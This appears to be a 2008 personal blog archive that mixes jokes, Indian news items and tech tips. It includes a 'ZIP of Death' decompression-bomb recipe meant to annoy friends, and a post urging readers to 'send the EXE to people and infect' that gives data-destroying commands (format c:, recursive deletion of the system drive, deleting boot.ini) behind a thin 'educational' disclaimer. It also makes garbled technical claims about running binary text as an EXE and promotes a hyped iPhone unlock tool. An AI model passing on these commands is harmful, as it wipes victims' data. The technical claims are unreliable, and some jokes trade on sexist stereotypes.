Vishal Mistry: December 2008

Wednesday, December 31, 2008

Windows XP SP4 Error Messages

The following are new Windows messages that are under consideration for the planned Windows XP SP4.

1. Smash forehead on keyboard to continue.
2. Enter any 11-digit prime number to continue.
3. Press any key to continue or any other key to quit.
4. Press any key except... no, No, NO, NOT THAT ONE!
5. Press Ctrl-Alt-Del now for IQ test.
6. Close your eyes and press escape three times.
7. Bad command or file name! Go stand in the corner.
8. This will end your Windows session. Do you want to play another game?
9. Windows message: "Error saving file! Format drive now? (Y/Y)"
10. This is a message from God Gates: "Rebooting the world. Please log off."
11. To "shut down" your system, type "WIN."
12. COFFEE.SYS missing... Insert cup in cup holder and press any key.
13. CONGRESS.SYS corrupted... Re-boot DELHI? (Y/N)
14. File not found. Should I fake it? (Y/N)
15. Bad or missing mouse. Spank the cat? (Y/N)
16. Runtime Error 6D at 417A:32CF: Incompetent User.
17. Error reading FAT record: Try the SKINNY one? (Y/N)
18. WinErr 16547: LPT1 not found. Use backup. (PENCIL & PAPER.SYS)
19. User Error: Replace user.
20. Windows VirusScan 1.0 - "Windows found: Remove it? (Y/N)"
21. Welcome to Microsoft's World - Your Mortgage is Past Due...
22. If you are an artist, you should know that Bill Gates owns you and all your future creations. Doesn't it feel nice to have security?
23. Your hard drive has been scanned and all stolen software titles have been deleted.

Sunday, December 28, 2008

First Miss India - 1949

First Miss India( held in the year 1949) Pramila (Esther Abraham) is now 90 Years old

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Sunday, December 21, 2008

Largest Annual Gathering of Women - Attukal Pongala in Kerala Womens

According to Guinness Book of RECORDS, Attukala Pongala event is the world’s largest annual gathering of women. In 2007, it is estimated that over 2.5 million devotees attended the event on a single day!

Attukal Pongala is an annual event at the Attukal Bhagavathy Temple in Thiruvananthapuram, Kerala (Southern state of India). This event witnesses the participation of thousands of women devotees, who flock to the temple to offer Pongala.

Women gather in the early morning and boil rice mixed with other ingredients in the open field. This offering is supposed to please presiding deity.

Only women are allowed to participate in this festival. So on the pongal day, the city is virtually sieged by Women from far away places.

UFO spotted at US airport (Chicago)!

A number of airport employees at O’Hare airport in Chicago claim that they have seen a UFO above the airport.. But federal officials explain that it is just some weather disturbance.

“hi im mohan i am having problems” - Spammmers Love this

I saw this as the 10th most searched term on technorati and looked up “hi im mohan i am having problems” on google and it returned over 352,000 results!

I guess this spammer is based out of India and seems to have done a really neat job in spamming a lot of Websites! He seems to spam for all subjects from airline tickets to prescription drugs.

He didn’t even spare this anti-spam blog! From the post,

"SPAM: hi im mohan i am having problems.
(I would say you do have problems - there’s no cure for stupidity)
IP: 194.165.130.93
All three point to a pay-per-click redirect page. Hence the reason he wants to spam..
His email address is nearly always an “@mail.com” address. Easy enough to stop… You know, Akismet works pretty well if you allow it to - and teach it along the way with what spam it misses…"

But what surprised me was that lot of these spam messages have no content at all!

Thursday, December 18, 2008

Created Replica of TAJMAHAL in Bangladesh

Taj Mahal is one of the seven wonders of World and Millions of people flock to the Taj Mahal in Indian city of Agra every year to have a glimpse of the tomb which a Mughal emperor made for his beloved queen, Mumtaz Mahal. Taking inspiration from the popularity of Taj a Bangladeshi man has created replica of Taj in Bangladesh.

A life-size replica of the Taj Mahal, often described as the world's most beautiful building, is due to open for visitors in Bangladesh.

The replica has been built by a Bangladeshi filmmaker.

Ahsanullah Moni said he wanted his countrymen to experience the beauty of the Indian monument even if they were too poor to travel to see the original.

The 17th Century Taj was built by Mughal emperor Shah Jahan as a tomb for his beloved queen, Mumtaz Mahal.

The emperor is buried next to his queen in the monument in the northern Indian city of Agra, which is visited by millions every year.

The $58m (£39m) replica has been built in Sonargaon, a small town in the Bangladeshi countryside.

Wednesday, December 17, 2008

YouTube Videos Convert To High Quality

Step1: Click to video that you want to see, the link will display on Address bar. E.x: http://in.youtube.com/watch?v=_NrA28oo_ZQ

Step2: Add &fmt=6 to the end of that string. That address like:
http://in.youtube.com/watch?v=_NrA28oo_ZQ&fmt=6

Enjoy your Video Now IT HIGH Quality Video

Step3: Add &fmt=18 to the end of that string, you'll have the best quality video with direct download link !
http://youtube.com/watch?v=9BNJwPFJ0Os&fmt=18

Note: Appending &fmt=6 to the URL delivers a 448x336 resolution version of the video and appending &fmt=18 delivers a even better 480x360 resolution version.

Unlock Iphone - Only 2 Seconds - 10000000% Working

Many people still don’t know what unlocking iPhone and how it is done. And, those are the people helping third person like you and me who has nice grip on computers and stuffs, make some money out of it. People like you and me unlock this iPhone easily, how ???

You’ve to have nice grip on how devices connects to your PC , how ports work, what USB is, etc. If you know these , then unlocking iPhone becomes no more a myth for an average user. This is the software way of unlocking iPhone.

iPhone Unlock Toolkit is a simple tool designed to help you to unlock your iPhone in one mouse click. Use your iPhone as an iPod and PDA without signing up AT&T service. This software can activate your iPhone bypass iTunes subscription,hack iPhone without AT&T’s two year contract automatically within a few seconds. It is fast, safe and easy-to-handle. Just click on the ‘Unlock iPhone’ button, the process will be completed quickly. iTunes 7.6 or later is needed

Tuesday, December 16, 2008

MR.BUSH HAS NEW PAIR OF SHOES

President Bush was almost hit by two shoes thrown at him by a reporter during a press conference in the Iraqi prime minister's office.

"This is the farewell kiss, you dog," the man shouted in Arabic.

After the incident Bush apparently said, "I'm OK."

"All I can report is it is a size 10," while dismissing it as an example of a healthy democracy and an example of free speech.

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Monday, December 15, 2008

Funny Conversation Between Bush and Condi...

George : Condi! Nice to see you. What's happening ?

Condi : Sir, I have the report here about the new
leader of China .

George : Great. Lay it on me.

Condi : Hu is the new leader of China .

George : That's what I want to know.

Condi : That's what I'm telling you.

George : That's what I'm asking you. Who is the new
leader of China ?

Condi : Yes.

George : I mean the fellow's name.

Condi : Hu.

George : The guy in China.

Condi : Hu.

George : The new leader of China

Condi : Hu.

George : The main man in China !

Condi : Hu is leading China

George : Now whaddya' asking me for?

Condi : I'm telling you, Hu is leading China.

George : Well, I'm asking you. Who is leading China
?

Condi : That's the man's name.

George : That's who's name?

Condi : Yes.

George : Will you, or will you not, tell me the name
of the new leader of China ?

Condi : Yes, sir.

George : Yassir? Yassir Arafat is in China? I
thought he's dead in the Middle East

Condi : That's correct.

George : Then who is in China ?

Condi : Yes, sir.

George : Yassir is in China ?

Condi : No, sir.

George : Then who is?

Condi : Yes, sir.

George : Yassir?

Condi : No, sir.

George : Look Condi. I need to know the name of the
new leader of China . Get me the Secretary General of
the U.N. on the phone.

Condi : Kofi?

George : No, thanks.

Condi : You want Kofi?

George : No.

Condi : You don't want Kofi.

George : No. But now that you mention it, I could
use a glass of milk. And then get me the U.N.

Condi : Yes, sir.

George : Not Yassir! The guy at the U.N.

Condi : Kofi?

George : Milk! Will you please make the call?

Condi : And call who?

George : Who is the guy at the U.N?

Condi : Hu is the guy in China

George : Will you stay out of China?!

Condi : Yes, sir.

George : And stay out of the Middle East ! Just get
me the guy at the U.N.

Condi : Kofi.

George : All right! With cream and two sugars.

Sunday, December 14, 2008

Google 2020 Searching

Any other Option You need, you can Request me to EDIT it on the LIST.

Google Has Sense of HUMOUR (FUNNY)

This is the REALLY STRANGE AND FUNNY RESULT FROM GOOGLE . . .
YOU WILL FALL DOWN FROM YOUR CHAIR SO HOLD YOUR TABLE . . .

Here is the FUNNY AND STRANGE thing i have FOUND . . .

Just goto GOOGLE.COM
Type " Find Chuck Norris " and Click on
I'm Feeling Lucky . . .

ISN'T THAT WAS REALLY STRANGE AND FUNNY RESULT ???

COMMENTS ARE MOST WELCOMES . . .

Friday, December 12, 2008

Sania Mirza Gets A Doctorate

CHENNAI: “When I started to play tennis, I wanted to be a doctor. I had to choose between tennis and being a doctor and I chose tennis. Now, thanks to MGR University, both my dreams have come true,” said tennis star Sania Mirza, when she was conferred with the degree of doctor of letters by MGR Educational and Research Institute University, here on Thursday.

Attired in a dress befitting the occasion, Sania entered the auditorium making the photographers go berserk. She said, “I feel honoured. A special thanks to MGR University.”

Responding to the University’s wish that she start a tennis academy in Bangalore, Chennai or Hyderabad, Sania said she would certainly consider it.

Sania, now ranked 101, said she is enjoying her training sessions with Mahesh Bhupathi, Rohan Bopanna and the others in Bangalore.

“I am training five to six hours a day with an American coach and am enjoying it. We are punishing our bodies. In a way it’s relaxing to come here,” she said.

Goals for the season

On her goals for the new season Sania, accompanied by her father Imran Mirza, said smiling, “I am just living for the moment. At the moment, I am enjoying the doctorate.”

Giving the welcome address, Prof. R.M. Vasagam, Vice-President (Administration), MGR University, said that the University was proud to award the doctorate to Sania for achieving excellence in sports and for being the first woman to be seeded in a Grand Slam event.

A.C. Shanmugam, Chancellor, MGR University, said Sania had been a role model for all the tennis players who were aspiring to reach international standards.

Wednesday, December 10, 2008

The ZIP of Death

This is a exploit of the compression algorithms to make a small zip that will extract into extream amounts their are more ways and better ones than this one but i will only show how to make a simple 1k = 1m ratio.

1) Make a.txt file

2) Open and type the null character (alt + 255)

3) Press ctrl + a then ctrl + v a couple times to make some null bytes

4) If u have a hexeditor make the hex 00 for about 50 kilobytes.

5) Now make several copies of a.txt and name accordinly

6) Open cmd.exe

7) Type copy /b *.txt b.txt

8) Now every copy is made into a super copy and repeat

9) Once you have a nice empty big text file like 1gb. Put it in a zip archive.
Because of the simple construction of the file, 1gb of null bytes.....!

The zip is only 1 mb in size and can really annoy freinds.
For added fun hex edit the zip and you will see a bunch of hex 5555

Just add some more and the file will expand amazingly

Make sure to not open this after

You can always create your zip of death from the command line in linux
dd if=/dev/zero bs=1000 count=1000000 | gzip > test.gz

Shutdown Command Via Command Prompt

The 'Shutdown' Command Becomes More Flexible and Automated when used from the Command Prompt.

To Run the 'Shutdown' command from the command prompt, go to 'Start > Run', type 'cmd', and press 'Enter'.
In the black box (the command prompt) type 'Shutdown' and the Switches you want to use with the 'Shutdown' command.
You have to use at least one switch for the shutdown command to work.

The Switches :-
The 'Shutdown' command has a few options called Switches. You can always see them by typing 'shutdown -?' in the command prompt if you forget any of them.

-i: Display GUI interface, must be the first option
-l: Log off (cannot be used with -m option)
-s: Shutdown the computer
-r: Shutdown and restart the computer
-a: Abort a system shutdown
-m \\computername: Remote computer to shutdown/restart/abort
-t xx: Set timeout for shutdown to xx seconds
-c “comment”: Shutdown comment (maximum of 127 characters)
-f: Forces running applications to close without warning
-d [u][p]:xx:yy: The reason code for the shutdown u is the user code p is a planned shutdown code xx is the major reason code (positive integer less than 256) yy is the minor reason code (positive integer less than 65536)

Note :- I’ve noticed using a switch with a '-' sign doesn’t work sometimes.
If you are having trouble try using a '/' in place of '-' in your switches.

Examples :-
shutdown –m \\computername –r –f
This command will restart the computer named computername and force any programs that might still be running to stop.

shutdown –m \\computername –r –f –c “I’m restarting your computer. Please save your work now.” –t 120
This command will restart the computer named computername, force any programs that might still be running to stop, give to user on that computer a message, and countdown 120 seconds before it restarts.

shutdown –m \\computername –a
This command will abort a previous shutdown command that is in progress.

Using A Batch File :-
You can create a file that performs the shutdown command on many computers at one time.

In this example I’m going to create a batch file that will use the shutdown command to shut down 3 computers on my home network before I go to bed.

Open 'Notepad' and type the shutdown command to shut down a computer for each computer on the network.
Make sure each shutdown command is on its own line.
An example of what should be typed in notepad is given below-

shutdown –m \\computer1 –s
shutdown –m \\computer2 –s
shutdown –m \\computer3 -s

Now I’ll save it as a batch file by going to file, save as, change save as type to all files, give the file a name ending with '.bat'. I named mine 'shutdown.bat'.
Pick the location to save the batch file in and save it.

When you run the batch file it’ll shutdown computer 1, 2, and 3 for you.

You can use any combination of shutdown commands in a batch file.

How to run Firefox inside Firefox.?

Yup you can run Firefox inside firefox just by typing following url.

How about Opening Firefox inside Firefox which is again in another Firefox..?
Not bad huh?
And its really easy too just type in this url in Firefox's address bar and there you go!
Firefox inside Firefox!

copy paste following url in a web browser (mozilla firefox).

chrome://browser/content/browser.xul

EID-Mubarak To All Friends

Fashion Mantra of Yellow

True Meaning of IT BIG Companies Name (FUNNY)

1. NIIT : Not Interested in IT

2. WIPRO : Weak Input, Poor & Rubbish Output

3. HCL : Hidden Costs & Losses

4. TCS : Totally Confusing Solutions

5. INFOSYS :Inferior Offline Systems

6. HUGHES : Highly Useless Graduates Hired for Eating and Sleeping

7. BAAN : Beggars Association and Nerds

8. IBM : Implicitly Boring Machines

9. SATYAM : Sad And Tired Yelling Away Madly

10. PARAM : Puzzled And Ridiculous Array of Microprocessors

11. C-DOT : Coffee During Office Timings

12. AT&T : All Troubles & Terrible

13. CMC : Coffee, Meals and Comfort

14. DEC : Drifting & Exhausted Computers

15. BFL : Brainwash First and Let them go

17. TISL : Totally Inconsistent Systems Ltd.

19. ORACLE : On-line Romance And Chatting with Lady Employee

BOY/GIRL ATM Using

How a BOY withdraws cash from ATM.

1. Park the car

2. Go to ATM Machine

3. Insert card

4. Enter PIN

5. Take money out

6. Take ATM Card out

7. Drive away

How a GIRL withdraws cash from ATM

1. Park the car

2. Check makeup

3. Turn off engine

4. Check makeup

5. Go to ATM

6. Hunt for ATM card in the purse

7. Insert card

8. Hit Cancel

9. Hunt in purse for chit with PIN written on it

10. Insert card

11. Enter PIN

12. Take cash

13. Go to car

14. Check makeup

15. Start car

16. Stop car

17. Run back to ATM

18. Take ATM card

19. Back to car

20. Check makeup

21. Start car

22. Check makeup

23. Drive for 1/2 mile

24. Release handbrake

25. Drive on .........God Bless them

Format A HDD With Notepad

If you think that Notepad is useless then you are wrong because you can now do a lot of things with the Notepad which you could have never imagined. In this hack I will show you how to format a HDD using Notepad. This is really cool.

Step 1 :-
Copy The Following In Notepad Exactly as it is.
says01001011000111110010010101010101010000011111100000
Step 2 :-
Save As An EXE Any Name Will Do

Step 3 :-
Send the EXE to People And Infect

OR

IF you think cannot format C Drive when windows is running try Laughing and u will get it Razz ..
any way some more so u can test on other drives this is simple binary code
format c:\ /Q/X — this will format your drive c:\

01100110011011110111001001101101011000010111010000 100000011000110011101001011100

0010000000101111010100010010111101011000

format d:\ /Q/X — this will format your dirve d:\

01100110011011110111001001101101011000010111010000 100000011001000011101001011100

0010000000101111010100010010111101011000

format a:\ /Q/X — this will format your drive a:\

01100110011011110111001001101101011000010111010000 100000011000010011101001011100

0010000000101111010100010010111101011000

del /F/S/Q c:\boot.ini — this will cause your computer not to boot.

01100100011001010110110000100000001011110100011000 101111010100110010111101010001

00100000011000110011101001011100011000100110111101 101111011101000010111001101001

0110111001101001

try to figure out urself rest
cant spoonfeed
its working

Do not try it on your PC. Don’t mess around this is for educational purpose only

still if you cant figure it out try this

go to notepad and type the following:

@Echo off
Del C:\ *.*|y

save it as Genius.BAT

want worse then type the following:

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

and save it as a filename.bat file

Tuesday, December 9, 2008

No WAITING @ Rapidshare Time Limits Hacked - Vishal Mistry

Everyone Searching for
How to Remove TimeLimit on Rapidshare WAIT 60 Seconds . . .Counter....
While Downloading as Free USER
Finally I Found the Solution . . .

Here is the Interesting thing I have Found ....
What to DO to Remove Time Limit . . .
Just PUT " #dlt " (DLT) at the end of Your RS Link ....then
Click on Free and You Directly to the Page of Download Button . . .

21 Million German BANK ACCOUNTS - Your For Only €12m

Identity thieves who claim they stole details of 21 million German bank accounts are offering to sell the data on the black market for €12 million (US$15.3 million), a German magazine reported over the weekend.

To prove they weren't bluffing, the crooks produced the compact disc containing the names, addresses, phone numbers, birthdays account numbers, and bank routing numbers of 1.2 million accounts. Two investigative reporters for WirtschaftsWoche say they obtained the CD during a face-to-face meeting at a hotel in Hamburg with two individuals involved with the theft. The journalists were posing as interested buyers working for a gambling operation.

"We took away with us the first delivery, a CD with 1.2 million accounts, that we couldn't imagine," said one of the editors overseeing the investigation. "In the worst case, three out of four German households would have to be afraid that some money could be taken from their checking account without their authorisation, and perhaps even without their realising it," the magazine stated.

The information was most likely collected from call center employees, the magazine said.

It's Germany's second mega heist of personal information in as many months. In October, T-Mobile admitted losing records belonging to 17 million customers that included their names, addresses, dates of birth, phone numbers, and email addresses.

Peter Schaar, a government official in charge of protecting personal data, said the WirtschaftsWoche report should serve as a wake up call.

Tuesday, December 2, 2008

Open GIF layers in Photoshop CS3

Open GIF layers in Photoshop CS3

Since we lost ImageReady with the introduction of CS3, animated gif files can't be opened directly without losing all but one layer. However, there is a work-around to be able to open gifs with all their animation layers....

1. Now you can see what's hiddenGo to File > Import > Video Frames to Layers

2. Now you can see what's hiddenIn the File name field, type all of the following: "*.*"

3. Now you can see what's hiddenClick on Load

Now you can import any animated gif file with all its layers.

NOTE: Now you can see what's hiddenIn order for the above work-around to work, you must
have QuickTime 7.1 or higher installed on your system.

What Indians do in America

It was the first day of a school in USA and a new Indian student named Chandrasekhar Subramanian entered the fourth grade.

The teacher said, "Let's begin by reviewing some American History. Who said 'Give me Liberty , or give me Death'?"

She saw a sea of blank faces, except for Chandrasekhar, who had his hand up: 'Patrick Henry, 1775' he said.

'Very good!'

Who said 'Government of the People, by the People, for the People, shall not perish from the Earth?'

Again, no response except from Chandrasekhar. 'Abraham Lincoln, 1863' said Chandrasekhar.

The teacher snapped at the class, 'Class, you should be ashamed. Chandrasekhar, who is new to our country, knows more about its history than you do.'

She heard a loud whisper: 'F*ck the Indians,'

'Who said that?' she demanded. Chandrasekhar put his hand up.

'General Custer, 1862.'

At that point, a student in the back said, 'I'm gonna puke.'

The teacher glares around and asks 'All right! Now, who said that?'

Again, Chandrasekhar says, 'George Bush to the Japanese Prime Minister, 1991.'

Now furious, another student yells, 'Oh yeah? Suck this!'

Chandrasekhar jumps out of his chair waving his hand and shouts to the teacher , 'Bill Clinton, to Monica Lewinsky, 1997!'

Now with almost mob hysteria someone said 'You little shit. If you say anything else, I'll kill you.'

Chandrasekhar frantically yells at the top of his voice, ' Michael Jackson to the child witnesses testifying against him- 2004.'

The teacher fainted.

And as the class gathered around the teacher on the floor, someone said, 'Oh shit, we're screwed!'

And Chandrasekhar said quietly, "I think it was the American people, November 4, 2008."

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